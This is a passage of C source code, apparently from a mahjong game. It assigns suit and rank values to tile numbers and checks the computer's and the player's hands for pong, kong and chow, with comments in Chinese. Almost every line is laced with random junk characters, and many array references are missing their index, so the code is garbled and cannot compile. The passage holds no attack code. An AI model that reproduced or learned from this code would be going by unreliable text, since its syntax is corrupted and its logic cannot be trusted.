( b; V/ |; c* X1 qelse if(computer.pp.number<=31 && computer.pp.number>=28)
5 P3 t+ i0 C5 o _) v: K{
; X/ Z) ], `$ D6 O4 k7 I8 |lgg=8;0 n z) U* E2 B
computer.pp.d[1]=8;- _3 V- z$ g8 d4 \0 x
}
. K0 c' y8 _8 I6 X% ?- nelse if(computer.pp.number<=35 && computer.pp.number>=32)$ x+ \' ]/ a7 {; z
{
6 m( u: W1 J; G- O6 ?; ^- E/ m: \lgg=9;
' w k9 \0 v3 |0 Rcomputer.pp.d[1]=9;; J0 t j! O/ s. e! H
}
 G% N7 O( Z4 E}2 G! Q9 g- V6 d% Y7 k
else if(computer.pp.number<=71 && computer.pp.number>=36)
, b# d, q5 K1 D& ` O; O i{! I4 F. l/ t+ H/ d0 ~& a" ?' ]
lg=2;5 P+ w0 |( [/ ^, p7 x, Y
computer.pp.d[0]=2;
% p4 V5 b3 B9 eif(computer.pp.number<=39 && computer.pp.number>=36)
* ~# w: |$ a5 T" d2 a{
5 N q" T4 E5 j" O& o2 |* ilgg=1;
$ W$ e2 F$ D5 {1 Mcomputer.pp.d[1]=1;
1 |4 |& W1 |2 @7 e}
) E9 {$ b1 N: N% Pelse if(computer.pp.number<=43 && computer.pp.number>=40)
+ W) K7 Y0 U1 `) m{- t2 u. _- k% I1 _% g1 W' M; p
lgg=2;7 E$ y) O# n1 c# D' r6 t4 b
computer.pp.d[1]=2;
, n8 r" y5 A y W" a4 F}
5 G7 ^" N" r2 t9 T9 Melse if(computer.pp.number<=47 && computer.pp.number>=44)3 `" s. D+ K4 r: C& }
{5 b B! @" b% ~0 E
lgg=3;
( r2 D' _' N5 W: G- F- k' vcomputer.pp.d[1]=3;6 E5 u7 G! T. O
}( N. ~/ l$ c' i1 M& T' ]
else if(computer.pp.number<=51 && computer.pp.number>=48)! i9 O2 Z2 c$ f7 O) m+ a
{
# T. S4 [1 l9 t( z$ s3 s* zlgg=4;
7 M$ O* _$ V# b/ Kcomputer.pp.d[1]=4;5 ^* V, q9 q0 P; q3 T
}9 `5 o: k( k- l# u: \
else if(computer.pp.number<=55 && computer.pp.number>=52)
 d. ]+ j5 ~- S8 f$ w( B5 m{; X* o( }! }7 f2 J( y2 B, P; l
lgg=5;, Q, | h1 n. W# O
computer.pp.d[1]=5;
$ E X# J( V0 Z! t6 K7 ?* G}
$ g* R! f2 {- uelse if(computer.pp.number<=59 && computer.pp.number>=56)
( M' m; S, x% i/ S2 |{
: L. M3 Z r( g C6 H4 E- Klgg=6;1 z, I7 V4 n9 {, X
computer.pp.d[1]=6;8 U- z; k, H2 _2 L; \) K
}
0 Y8 p/ ^ W+ J) f% ?0 _6 Telse if(computer.pp.number<=63 && computer.pp.number>=60), k4 G V" U, M' _( V
{
% U1 t& e' f# |" x$ y, P3 @lgg=7;; v3 R2 D7 H: w+ i' T! }4 ]
computer.pp.d[1]=7;. y3 `9 c1 m0 W, O# v0 w
}
" h* Z& q0 v+ A& _& Delse if(computer.pp.number<=67 && computer.pp.number>=64)
+ z1 h" E+ K4 L2 \1 @8 T" i* F{- D( j. T" X, K/ z/ K9 R
lgg=8;8 c# Y/ g" e* X0 t
computer.pp.d[1]=8;/ Y: w) \; D8 d8 n( u$ ?1 ~7 c% g
}
" w: r' F7 ^/ J oelse if(computer.pp.number<=71 && computer.pp.number>=68)
4 P' A) w' x% D7 U4 l+ A5 h4 ?: n{/ n/ H5 Q" A `- p
lgg=9;; A4 u5 d% K# o, i# Q" ^0 [$ l/ r
computer.pp.d[1]=9;
1 U& ^; L0 U8 C$ [( v}
& B' {8 ]' O. Q% Y9 N}
( Q- X" z6 ]& A% {0 H: C0 {2 welse if(computer.pp.number<=107 && computer.pp.number>=72)
7 q# O$ D2 | `8 L' ^9 B{3 k0 p& A' H0 g) ~9 J1 B8 t( k2 N
lg=3; m i' o" O/ n
computer.pp.d[0]=3;
: W. U2 f- w: E# t0 _/ Iif(computer.pp.number<=75 && computer.pp.number>=72)
! T: n% P+ V6 t: T5 o! c{7 b# |# u* @ S! n3 ?% `
lgg=1;
) R. U9 H0 s* \8 C! bcomputer.pp.d[1]=1;
6 i' R8 M: u+ q6 O4 A! Z ]}
! J7 Y/ t! k5 N/ S- Velse if(computer.pp.number<=79 && computer.pp.number>=76)
, ]- A t! X; r0 l, N; z* v{: w! ^* }5 S. a5 S! `0 d
lgg=2;
9 U* g B3 a1 n: K% A, Kcomputer.pp.d[1]=2;
$ o" X, f6 A$ t( Y}
9 o% K9 R0 N, t, y7 nelse if(computer.pp.number<=83 && computer.pp.number>=80)
# \9 i2 ^$ J/ v N- R9 G* Y; G{
5 o, F$ B! A( tlgg=3;+ d6 j. |4 j) P
computer.pp.d[1]=3;
8 {1 G1 `' }& }7 b& G}& M3 |$ j. p, q
else if(computer.pp.number<=87 && computer.pp.number>=84)& C& t8 s9 [0 G5 m, v2 e7 L
{4 l; J4 t3 N0 `) _- U
lgg=4;
# @6 \4 N4 n' j. C: [& t! m) ?computer.pp.d[1]=4;) |" Q$ k6 ?# T* R
}: N1 O! a- I3 b6 x% q
else if(computer.pp.number<=91 && computer.pp.number>=88)/ Z" ]! D$ A7 q
{0 f, g1 K+ M0 m8 L5 J
lgg=5;
0 _8 \4 G, R2 M9 Q% y W& J- ?8 ccomputer.pp.d[1]=5;
8 P2 p [* g' Y8 t) H2 ]}" C# A$ w k5 u$ q& h9 d' g( V/ P
else if(computer.pp.number<=95 && computer.pp.number>=92)
; y6 m4 ? K- e( I4 [0 w{1 n1 M( ^2 {& S0 s. ?* a
lgg=6;
* Q3 \: Y0 w3 V! V# e: [% \computer.pp.d[1]=6;% r3 o3 @/ @$ v0 h ]
} A5 Q0 i( o$ K
else if(computer.pp.number<=99 && computer.pp.number>=96)
" q+ U; I/ h* f9 ]6 X1 V: L. ?{- w( \; Z" \+ ?6 R
lgg=7;0 t l. }# ^; x. F; f4 S6 _
computer.pp.d[1]=7;
/ p" ~+ G; V( @, F7 L}
# X; K: `; ~8 selse if(computer.pp.number<=103 && computer.pp.number>=100)
4 a$ r9 J+ A, [{ c, S- d4 K( s, g( b: n) i4 I
lgg=8;
0 |/ a: T+ D }8 S: \7 N6 Ycomputer.pp.d[1]=8;4 `, a8 @5 o4 R5 h
}
- N2 ], H7 B5 K9 h Kelse if(computer.pp.number<=107 && computer.pp.number>=104)
" B* s8 B0 `5 q{+ V" l& [; h/ q
lgg=9;
4 x$ P$ m+ w9 _/ wcomputer.pp.d[1]=9;
- B3 Q( l' b; K' r}* h2 \$ t. W! A6 E( _0 ^# h! j, c: O
}0 y8 p7 t8 B5 Y- L: Y
else if(computer.pp.number<=135 && computer.pp.number>=108)
% N- y( c. q+ x0 J! F{
( T& G4 n" n, v. `! xlg=4;& ]/ p6 M/ z4 k- `$ \4 _1 G
computer.pp.d[0]=4;
7 E# U4 |( O1 Aif(computer.pp.number<=111 && computer.pp.number>=108)* |/ H( Y2 y* v. p
{. D* [3 C* t6 i: P2 P& i+ S
lgg=1;% W( Q! Q* ]: R" C9 W9 X6 h
computer.pp.d[1]=1;4 Z! P# I% _6 L3 u, F$ v4 Q0 y
}
& ~/ U0 ^; n1 t" L0 F z8 Lelse if(computer.pp.number<=115 && computer.pp.number>=112). Q$ \5 ] }+ D+ o5 B3 V- h! `
{
9 P7 ?! D/ O: R9 [( {2 hlgg=2;; k" S# M- I/ E0 g
computer.pp.d[1]=2;
5 X% q6 M! b0 V. o0 V- P; n, ^2 O% ^}* e& h$ z# U8 N% p2 I8 `* Y! Q
else if(computer.pp.number<=119 && computer.pp.number>=116)1 O8 E C- x& b( a2 y) P3 Z" d
{% o* {) [3 @/ s5 _
lgg=3;
' q/ A1 } w6 Q- I3 V" _# b. qcomputer.pp.d[1]=3;. S( t. b2 Q3 g+ [) y# g+ g
}4 S) W! X2 a# `
else if(computer.pp.number<=123 && computer.pp.number>=120)
- r1 m# o3 {* q& y) S+ d3 {+ @0 r{% k2 ^ O6 O" u% G5 @
lgg=4;+ B" L7 } a: G; w$ A" z, d
computer.pp.d[1]=4;
' {( H' x# H3 ?/ U, D+ X}. M2 A/ ~$ V$ ^; K
else if(computer.pp.number<=127 && computer.pp.number>=124)0 D) I& F# e; f: d; k p* V' w" q+ z- y
{
6 |4 e4 I% X; |9 Z+ I- ]lgg=5;4 j& e6 K. ?6 l! N) F% r L0 S
computer.pp.d[1]=5;7 L `# p7 b S" a
}0 \( j" x' |) L1 q( x a$ r% d
else if(computer.pp.number<=131 && computer.pp.number>=128)
% v7 m$ E6 f: ?7 F& Q- E{& Y8 z/ K, `7 S) I
lgg=6;
* I/ E; w. n) w: S- G9 Zcomputer.pp.d[1]=6;% r& t3 @' H3 T# T: E
}
 q. ~8 v$ F* Velse if(computer.pp.number<=135 && computer.pp.number>=132)7 U) [# a' L8 ]" V
{
( B8 F' H$ p( v. w8 A# }5 Plgg=7;
; `# {7 |; U- T; M" E6 xcomputer.pp.d[1]=7;
$ Q$ j/ @8 K( m9 i& Q}, \/ A3 L% `, F$ g0 w# \
}2 N) {* c% l% l( x0 `- v- Q

+ f$ i: V( D$ J9 \. f$ uif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/# h* P+ o1 V( R
if(logoo==lgg)7 \3 j9 w" v4 [
pg++;. v, T' ^* O Z: {9 J! N
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
) g0 ~) i9 ]7 i( ], Mch.lgg=lgg;
2 ] W( a# a, plg=0;
- n' [9 @* ^' p+ I7 i9 Z3 y0 c, jlgg=0;& I& O: G9 {1 b
b++;; L* Y) O4 g0 p E# o/ D
}7 {5 C! \0 Y' U3 ]2 \1 q, S
if(pg==2) /*乓*/. o5 r3 [7 M* V) H
{
0 i4 N4 B( x/ }* L x( ?* V* g
# V* i6 `" @1 Y" f/ a7 }sing=1;/ _3 W# ]' V" h. n5 \
b=computer.m;
% b- ^$ I0 r# p" o. E- t0 }3 p" H! Z, awhile(b!=-1)
. m) r( c' k# I. A{* T5 `7 Z3 s5 b0 |, U# w
if(strcmp(me.pp[c].k,computer.pp.k)==0)6 ]% B" s0 F0 E2 x/ M( Z+ J
computer.pp.p=1;2 j( i% W% A' l1 Y9 |
2 W. m# Y: K' T; E1 p$ C' @/ c, X
b--; e# Q+ o- U$ ^7 L6 |
}/ q7 q8 i& ]% K0 k
}9 Z7 \ r% M( q3 h X) ^* {
if(pg==3) /*杠*/ k7 }. h* Y/ ~0 Z! F9 ~1 U
{
$ D+ B% p( }* |. X+ {/ R7 c+ j" V6 t! C f* l. ]+ G9 t1 ~
sing=2;! }* m% C5 ?* J8 D h
b=computer.m;
+ s3 ^2 b! v6 h5 A1 Uwhile(b!=-1)
4 d7 N c% g4 M+ r/ S{
( A! Q7 Y: [4 Jif(strcmp(me.pp[c].k,computer.pp.k)==0)& h. O9 W4 r) P0 @6 a: F. u4 g
computer.pp.g=1; W& [' n2 q/ e; @4 C0 z
b--;' a( q6 Y) c% z6 z! J
}
 w \* l! J$ f t' _, B}
( r; C+ P M3 ~) Bf=0;: r: Q4 U9 `6 e1 {
while(f<computer.m) /*吃的判断*/
6 k! R. h9 z! K* ~7 a" c{ if(ch[f].lg==logo && ch[f].lg!=4)
) T" q9 }! D) R, r: {/ u# m{
8 r% F6 `" e( L% A6 w, sif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
6 J5 p) `0 P, D8 Qif(ch[f].lgg-logoo==1)
; a4 j7 m- E$ i7 M+ n0 W8 ^{
- o7 n0 m G3 D# K- H# N Tgp++;
( d; K$ ]+ r" |0 O$ Q9 Ncomputer.pp[f].c=1;
6 |8 `4 O( t1 H4 _8 Z) H3 ccomputer.pp[f+1].c=1;8 h# n! F K3 q' R
}
" a# D3 O1 C; y7 ?if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
: W& ?0 U6 b* e8 B( H; tif(ch[f+1].lgg-logoo==-1)
- @+ W! ^/ x2 S( p* q" d{4 q+ _( B3 k3 g7 [6 b; Z
gp++;9 o C' M T* M/ W6 }
computer.pp[f].c=1;
! x; X' z1 v$ m2 k( W9 O7 Acomputer.pp[f+1].c=1;
% {/ t. [9 r+ \}, t+ H* C- t8 J2 O& l! ~) d/ ]
if(ch[f].lgg-logoo==-1) /*中吃*/" r$ a+ d- W. k- A5 k
if(ch[f+1].lgg-logoo==1)
8 x0 X# I. t0 M{
! `6 J$ H. k# l1 J% A6 ngp++;
- B+ q% M" i! `" e; E4 qcomputer.pp[f].c=1;
% `7 ?) }/ _1 l* O9 ^computer.pp[f+1].c=1;
1 h% l8 M: Q0 U4 G- ?( F& c# E. a}5 [4 T) R9 R- u: i0 ~
if(gp==1)
 y9 U2 } x+ E5 ~3 Mbreak;
7 T! B/ z% c+ O3 {( A4 ]}
& a/ u' h! Q; p0 A% |' O; e7 Qf++;% c( B. Y* B, s+ v
}' _3 S1 Z8 f z* C Q! Q
if(gp==1) u& \ U9 s1 e& G0 w
{sing=7;6 _# G* b$ o3 S( g( N# ]
" G+ U' o% ?1 v* I3 ~+ \
}
0 Q( T/ ?, O) a2 H- d+ a2 [, rpg=0;1 s# y; C- {0 u, s$ T
gp=0;
* ?' x( D% y3 q: {# Hb=0;
 N- E, b/ a, L& Q8 `. N$ O. X) k& ]}
8 f8 K7 d! s- y& `! gvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/" B. `) U# o: ^4 I
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
4 C) T' a- l' B6 d0 @( Bif(computer.pp[c].number<=35 && computer.pp[c].number>=0)
. K$ k4 }+ h7 b6 f{
5 x3 V' n5 r! O! A8 d, jlogo=1;
/ C: A( Q p# A' d' Vif(computer.pp[c].number<=3 && computer.pp[c].number>=0)
 R$ c D! b9 ulogoo=1;+ A }8 {. T6 J7 g/ d$ o8 e1 f
else if(computer.pp[c].number<=7 && computer.pp[c].number>=4)
, z3 g+ Y9 ^1 L6 ^logoo=2;
1 e0 B2 H% i/ {( _+ H1 C) Celse if(computer.pp[c].number<=11 && computer.pp[c].number>=8)' W+ W* p* L" Y
logoo=3;3 l8 e) M( k2 t3 o
else if(computer.pp[c].number<=15 && computer.pp[c].number>=12)7 ?: m6 {2 m% J# }" ~( g
logoo=4;
' w: s- r5 s. }; { Aelse if(computer.pp[c].number<=19 && computer.pp[c].number>=16)
2 I2 {! P" Z+ ?" A* d& ^; e+ [logoo=5;
5 m! i* B1 V, H7 m/ _8 eelse if(computer.pp[c].number<=23 && computer.pp[c].number>=20)
* J6 N9 Z( D' C4 Y& n" S/ N( tlogoo=6;
) x; ]7 P* Q) x- i2 O& _else if(computer.pp[c].number<=27 && computer.pp[c].number>=24)
& k# L) }+ ~5 clogoo=7;9 W0 W: C4 q8 D( g/ ]
else if(computer.pp[c].number<=31 && computer.pp[c].number>=28)
1 n) e! F& c) c) Z" C! xlogoo=8;
( R/ y, P) D0 v- u" e4 L/ u1 Relse if(computer.pp[c].number<=35 && computer.pp[c].number>=32) B% M6 }: V+ F$ S
logoo=9;
9 B' T0 v& i% L( P( `5 n}
. [, t, F1 k! q% o3 [else if(computer.pp[c].number<=71 && computer.pp[c].number>=36)7 D3 s/ w. {* s' \1 N2 n
{: L" O0 t6 f8 p+ f
logo=2;
$ V) c( }8 V: z$ \" e2 V2 Gif(computer.pp[c].number<=39 && computer.pp[c].number>=36)
& ^, y5 W; J" s g) _5 A6 ?' Wlogoo=1;
! n3 q5 D: o* [! B; \8 @else if(computer.pp[c].number<=43 && computer.pp[c].number>=40). u% `( o8 c- @% n* }
logoo=2;
6 u$ Q; {3 k2 E5 Kelse if(computer.pp[c].number<=47 && computer.pp[c].number>=44)
8 l6 T5 d; H) j- y) d* U1 v7 qlogoo=3;
+ l7 Y) {; P6 _: k- w8 Qelse if(computer.pp[c].number<=51 && computer.pp[c].number>=48)
3 c. [& z) b( y( E7 Glogoo=4;
 ^$ L r( k' ]/ e' x# Q% n/ ]else if(computer.pp[c].number<=55 && computer.pp[c].number>=52)1 Q. T' P' x+ ?+ f8 n: @
logoo=5;% z: e( v* Z: t+ @
else if(computer.pp[c].number<=59 && computer.pp[c].number>=56)) ]( Y% u* Z! R3 n' j. {' J; @
logoo=6;: S. f5 @+ Z: W. J4 T) q
else if(computer.pp[c].number<=63 && computer.pp[c].number>=60)! Z, E# }$ k" X- e9 x9 {
logoo=7;
- B- h- i6 f4 D( b, Velse if(computer.pp[c].number<=67 && computer.pp[c].number>=64)
5 i8 ^4 `: g4 Q1 T- O3 Ologoo=8;
4 p7 c) H- w8 v$ e: ^( Velse if(computer.pp[c].number<=71 && computer.pp[c].number>=68)- Q$ r; k2 N" u$ ]8 \+ G
logoo=9;+ R7 f0 D9 V' C# C8 k! O
}4 S* B8 [: h9 u. ~+ L0 z
else if(computer.pp[c].number<=107 && computer.pp[c].number>=72)5 W4 t! Y. d \7 d0 |
{
' ]$ ]. w1 H9 q: flogo=3;
& v" P4 \8 ]7 Y. s w$ bif(computer.pp[c].number<=75 && computer.pp[c].number>=72)
2 e: h7 @! t+ glogoo=1;
5 v+ m1 C7 V$ K, { w' R2 ?else if(computer.pp[c].number<=79 && computer.pp[c].number>=76)5 }0 B0 O8 }' i8 A1 A H1 l
logoo=2;
) D6 R1 l @ f# |! Q$ welse if(computer.pp[c].number<=83 && computer.pp[c].number>=80)
+ s" H: M+ `- t; hlogoo=3;
7 p4 E& l4 c9 f3 T3 G& W. m+ Lelse if(computer.pp[c].number<=87 && computer.pp[c].number>=84)$ r4 x& P6 b; [& u1 k
logoo=4;: D3 b: F0 c$ u* \/ r
else if(computer.pp[c].number<=91 && computer.pp[c].number>=88)
1 H! c, [, _/ Q# p( Rlogoo=5;# L$ f0 ?7 G# t- R
else if(computer.pp[c].number<=95 && computer.pp[c].number>=92)( e* L/ ^) W8 z0 n; n
logoo=6;# v# @4 m: m4 M4 ]% H8 @( \8 B
else if(computer.pp[c].number<=99 && computer.pp[c].number>=96)! H8 _# O0 B% q; F' h' ?
logoo=7;9 q. z H$ m6 Y
else if(computer.pp[c].number<=103 && computer.pp[c].number>=100)
+ i( c. i/ ]9 X- Glogoo=8;% {+ u j4 ]. U7 R
else if(computer.pp[c].number<=107 && computer.pp[c].number>=104)( W6 D. x6 f+ _9 Y% l" s- k
logoo=9;
) O1 v8 ?$ M1 Y}
% X3 k* \: m9 D! Y. jelse if(computer.pp[c].number<=135 && computer.pp[c].number>=108). C* v, \: Q7 x( ^7 E% h
{
& M+ j& \* ~4 e7 C3 d; \7 Z! y4 ylogo=4;
. |- A9 Z- ^: |/ N2 R( p1 ~# {if(computer.pp[c].number<=111 && computer.pp[c].number>=108)
3 X% N) ^6 D5 E' o! Qlogoo=1;
' a/ H' v |3 X0 a3 lelse if(computer.pp[c].number<=115 && computer.pp[c].number>=112)
% N8 s. _% R7 j" q1 M( {! Mlogoo=2;
 o! C# @! V6 Y' ~1 j' Jelse if(computer.pp[c].number<=119 && computer.pp[c].number>=116)
+ d* i& U/ Y% x' ~- ulogoo=3;, {" G; u4 c/ E
else if(computer.pp[c].number<=123 && computer.pp[c].number>=120)5 [8 T5 W9 e, w# V1 o' B
logoo=4;7 c; c: u" B& _9 ` l5 w8 k
else if(computer.pp[c].number<=127 && computer.pp[c].number>=124)
. a3 \' `# W' F) E5 Slogoo=5;
; |6 @( d' q# m; @7 V% t# d; ]else if(computer.pp[c].number<=131 && computer.pp[c].number>=128)
. ^2 T8 v% m+ e# m( |; e5 wlogoo=6;( d3 i) J* N3 m! v- q/ _
else if(computer.pp[c].number<=135 && computer.pp[c].number>=132)
 ? z, Q5 ?$ B. d; g& Xlogoo=7;' [- w; n. D2 e p
}
: F! D& | m7 o2 e4 Y+ c. ?& D7 `8 Cwhile(b<=me.m)
; ^0 ^ g* g# w6 u{& m9 S2 i Q2 p2 M8 \* J
if(me.pp.number<=35 && me.pp.number>=0) /*我分析后出了第一张牌*/
& m& f8 ]0 o# B* m{
. z% v- Y. l+ Hlg=1;
5 t/ }5 |5 p1 Y' x- w3 dme.pp.d[0]=1;" L8 b: k( s0 y# A9 e9 h
if(me.pp.number<=3 && me.pp.number>=0)
' L" ^5 Y0 ^" _) D D' h' Y{
9 |. a2 O# q! C- Llgg=1;
, o5 H- V" V9 _+ i% qme.pp.d[1]=1;
2 M# [7 h @9 n}
3 F- O/ f1 ^, A' L, ?6 M- ~else if(me.pp.number<=7 && me.pp.number>=4)
& p: {0 k3 {/ _{
9 f5 \1 r# B5 n# ~0 |lgg=2;7 B' R' G4 H4 q' y. A
me.pp.d[1]=2;
1 r) K% Q6 G/ w1 f' W' \$ O}9 T2 V& }5 |" [% o9 B
else if(me.pp.number<=11 && me.pp.number>=8)- b0 g* H' p' Y j
{
: l% w0 P* x6 Q F- U, slgg=3;$ N, u- i! z8 W1 c$ i
me.pp.d[1]=3;
( A9 l" l1 ~; B0 V% R5 w" R w; r}
& A e$ }+ K2 k( Z. _0 lelse if(me.pp.number<=15 && me.pp.number>=12)+ ]3 N# _( ~) b! F/ M3 B' K3 x
{
' J- J6 L6 S2 s( w7 T6 Ylgg=4;
% e/ _# U/ c7 m6 A. _! Ime.pp.d[1]=4;* q) @! I+ ~$ h8 t
}
4 p* ^+ S! N0 t, j+ }5 C3 F8 telse if(me.pp.number<=19 && me.pp.number>=16)# R. e( j" N( D. ^
{
2 A; M* c/ L ^9 A% {, u7 klgg=5;1 p9 c. ?- v: b* r! D
me.pp.d[1]=5;! @4 ]2 w* e: T! @+ r Z
}( M3 ~8 L& h/ \/ H" c5 {5 N
else if(me.pp.number<=23 && me.pp.number>=20)
8 s% x) m. L; {+ g; L{# f0 F& w) p! r% O1 \3 r0 W1 i f
lgg=6;
; W% G2 e; O! F( S3 ~me.pp.d[1]=6;
' T" c }- R) V2 L}
: P" G0 a# \. v' d8 e3 O4 \else if(me.pp.number<=27 && me.pp.number>=24)7 K1 G) r' V% L; s5 M& T J1 u
{
) u k+ F6 C7 E% f) O E) e% jlgg=7;0 Q! R, [0 Q, V7 h+ a$ u9 w, p# \
me.pp.d[1]=7;3 \. ]7 S; ^5 s; Z! G' E8 B6 ]
}5 i# [0 y4 {3 _
else if(me.pp.number<=31 && me.pp.number>=28)5 L4 B. e6 f; V3 M& r
{
( e8 v+ H5 |# C8 Qlgg=8;$ O$ v6 R5 Z! C* j
me.pp.d[1]=8;
" t- ?& H+ K0 ?+ K, M- C}
4 z$ I# y. P6 {. ^+ E/ w7 eelse if(me.pp.number<=35 && me.pp.number>=32)- E: W P8 |3 t: O: R, _. f# A$ n; q
{
( L6 a6 }: i- o/ c, N3 ]lgg=9;2 [4 C# S$ S8 n; S" _
me.pp.d[1]=9;# @0 m7 @. x' s0 }! R
}
5 j' ^' a8 ~% u4 N( d}
( o; z4 J/ K& A: [2 `else if(me.pp.number<=71 && me.pp.number>=36)
0 V& Z8 {+ U' j2 g8 n7 n) A{: g9 [0 ^6 [$ I
lg=2;5 `( z4 F# }, }1 L8 D
me.pp.d[0]=2;& ~. x! y0 P. X, ~ F
if(me.pp.number<=39 && me.pp.number>=36)
( d* M% ~& o$ o) q{
! A9 a+ T3 U8 I Z2 R2 p+ ]lgg=1;
, B' Q, M2 @' `- e Pme.pp.d[1]=1;
% d* G+ |( L2 Y& X7 p% a4 {}$ ~$ Z& \3 O+ M& R Y
else if(me.pp.number<=43 && me.pp.number>=40)
" j. \! }% o3 s{
, w9 D. i6 I) c3 r! H4 ilgg=2;
9 Y( v+ {# x" Y# Qme.pp.d[1]=2;5 J0 _; [' n- A$ g( P
}
% B$ v+ l$ D5 S! O# L6 z6 t/ {else if(me.pp.number<=47 && me.pp.number>=44)% K5 U% p# _% C2 X! v6 n
{3 O& `9 m' `8 l. ?
lgg=3; f7 _* v4 i2 S! k' H$ g4 v
me.pp.d[1]=3;& a, r! P# t2 [- i- c" \
}, b6 B7 a$ p3 `" f) d5 a" h, {
else if(me.pp.number<=51 && me.pp.number>=48)
0 r: B |: d/ I; {9 {5 [* V{
& P4 \. P# u9 p" [, Zlgg=4;& v; c* j- G/ Q/ {& B
me.pp.d[1]=4;
* a# s% d x, e+ O7 F+ d: O}
- G4 g% k3 C. j8 Belse if(me.pp.number<=55 && me.pp.number>=52)
/ T- d, Q* t m) q' P3 o( O: r4 a{/ v/ ~4 B8 V: \7 ^# W
lgg=5;- S' z1 ~2 e; f' P+ {& i
me.pp.d[1]=5;4 d2 E! M3 }4 E( s$ ^$ J
}
3 N' y( }# B0 L! [- @/ ~* P& V3 c. Oelse if(me.pp.number<=59 && me.pp.number>=56)1 k9 ]: H1 _; }' c" T
{# F. }: A4 `8 {6 u& w6 C- N& L# z3 p
lgg=6;
) m8 S0 v+ ~$ {7 E m H; x. X- ]me.pp.d[1]=6;5 s3 W4 }; N" D( |; c! f% E, }
}
$ ]% ~: |, d0 n0 Lelse if(me.pp.number<=63 && me.pp.number>=60)5 }; y' @' p; E, {% P) ^2 ]
{6 m! f. M2 [0 m i, v( V! z/ `7 J
lgg=7;
. S3 a" ~. v+ x6 J7 n' {0 ^2 Kme.pp.d[1]=7;& ^6 C" k G. Y+ u0 y4 M
}
0 p! q x7 a( z; x0 y8 I8 w9 gelse if(me.pp.number<=67 && me.pp.number>=64)
) m C: j! _& @{# R6 s9 U6 S9 E3 R, G( m
lgg=8;
: o# H1 ^' _, p! Rme.pp.d[1]=8;. F) D+ x, D0 T* ?9 A
}
9 e/ L) D* E* v9 L2 C' pelse if(me.pp.number<=71 && me.pp.number>=68)9 ]) x0 G3 _: o3 F& |* v' I
{
: j' Y% o" m. M. X% p' I% Dlgg=9;
- B L9 j0 S, w3 `; }+ qme.pp.d[1]=9;
9 @2 G) ~5 p5 |+ v7 I" |( F}
! l; G* I% h. V6 u" U A/ x}
3 q8 @6 z# n- j3 g& Q X, J8 Kelse if(me.pp.number<=107 && me.pp.number>=72)9 V2 b6 p& s1 [ [
{
. E3 R) `& M' Z, glg=3;
8 }$ x3 a7 T1 X0 R3 Z1 ame.pp.d[0]=3;" r- @- u6 }1 b! M' O& ^8 `4 z
if(me.pp.number<=75 && me.pp.number>=72)& k% p6 k$ b- K* q+ W2 n
{5 |* ^4 k) G! `* J
lgg=1;
 p) t2 @( Y2 [" {: M0 }' mme.pp.d[1]=1;4 J/ v; W+ w" a$ r/ I2 s/ c
}- ~9 Z0 v' X q% |0 \
else if(me.pp.number<=79 && me.pp.number>=76)
. }6 d A% x: A7 h{
( `1 }* T( E; W- a* G$ |5 Wlgg=2;
me.pp.d[1]=2;( P, _8 s/ }* @! l2 J2 R+ }7 f
}
3 Q& w# o3 d; X2 _$ K% K$ [* U6 oelse if(me.pp.number<=83 && me.pp.number>=80)
- x' f2 _1 X6 ?! I1 ]{
$ Z9 f" l6 C+ q# H+ l& jlgg=3;3 x& a Z) c1 V
me.pp.d[1]=3;
6 q' h- \# n6 s9 S5 ^+ G: `. k}
+ t# }) _: K) u2 V, a% `else if(me.pp.number<=87 && me.pp.number>=84)
1 s. J |2 F9 R{
( R- R' ]' I. flgg=4;( [" f. J/ i3 _9 }" v" y& B0 E
me.pp.d[1]=4;9 R2 z3 ^( e! _
}
 [' E$ L% _% e3 zelse if(me.pp.number<=91 && me.pp.number>=88) G4 G9 J- @% P" j7 [6 o
{1 u( s' ]" V: H: ?# g* Z+ K6 p
lgg=5;
9 r" j$ s r; ]0 X+ ^9 I8 z% [me.pp.d[1]=5;) J1 u3 H4 B4 A7 {2 T
}# V7 j& z" p2 h) w# o7 M8 d
else if(me.pp.number<=95 && me.pp.number>=92)
0 \* n+ n6 j( I& k/ a- Y4 f{
1 _) n/ j1 P3 \& q& i* a3 q$ olgg=6;: k# y- H$ y3 P) B. }8 \
me.pp.d[1]=6;: l% ~* M+ t" X# \& ]
}( \0 ?+ c& @$ f" Y" j% J& E, W
else if(me.pp.number<=99 && me.pp.number>=96)0 R. ?% k' ~( n
{
9 d# a/ z+ o {3 V7 x7 d9 p* d) m, dlgg=7;6 q& v. F- F) m5 h1 ~! }& t
me.pp.d[1]=7;% Q( L: @- ?- c. t
}" W' w& I, o# p
else if(me.pp.number<=103 && me.pp.number>=100)
9 k( X# k5 x @8 q* J! t+ l8 H) Z. j{
0 C/ M; f+ v* \6 A r, zlgg=8;
& e- u* f0 r \ F; `+ yme.pp.d[1]=8;5 a$ L, s9 L& I. \6 z
}$ b( m' @5 x# ]9 N, v! q
else if(me.pp.number<=107 && me.pp.number>=104)
9 L1 @% Y+ S% Y& |{
+ Y Q `! F2 g1 L: zlgg=9;
" e, Y* u! b$ ]; A8 Y) e9 bme.pp.d[1]=9;3 }" M% K8 I/ I1 S5 d
}
/ i* q/ w$ w# Z* H7 a}
& z& @+ X6 B2 u% l$ w* Pelse if(me.pp.number<=135 && me.pp.number>=108)
8 W8 F2 t' m) L6 |{
0 A& k+ R# b/ ?4 h$ vlg=4;- X% @; z: A5 g2 z% Q
me.pp.d[0]=4;
& U( ~/ z l! H# Rif(me.pp.number<=111 && me.pp.number>=108)
 L- i7 Y4 D2 _+ c{ ]& u8 N/ k" m$ G2 H
lgg=1;
! D$ M/ D' n- X5 X# @- ~me.pp.d[1]=1;6 E7 H* ~$ b5 ^5 ]
}
6 q4 P0 ?; h1 s3 U8 relse if(me.pp.number<=115 && me.pp.number>=112)
& W2 B( l: w3 P- B{
- F4 n" G* _5 c. r- Vlgg=2;( {3 C9 v/ f: X
me.pp.d[1]=2;
: {8 P* C9 f L}
 K x! d* S+ z& {4 Q% Velse if(me.pp.number<=119 && me.pp.number>=116)
1 a' t$ E8 d0 u# d$ g{
$ g% F; G* A/ ^! t+ K$ G- Algg=3;
* H% `" o: ~, t6 eme.pp.d[1]=3;: B- Y5 M( N& e, @ `
}# G( b( {# ]5 K; w
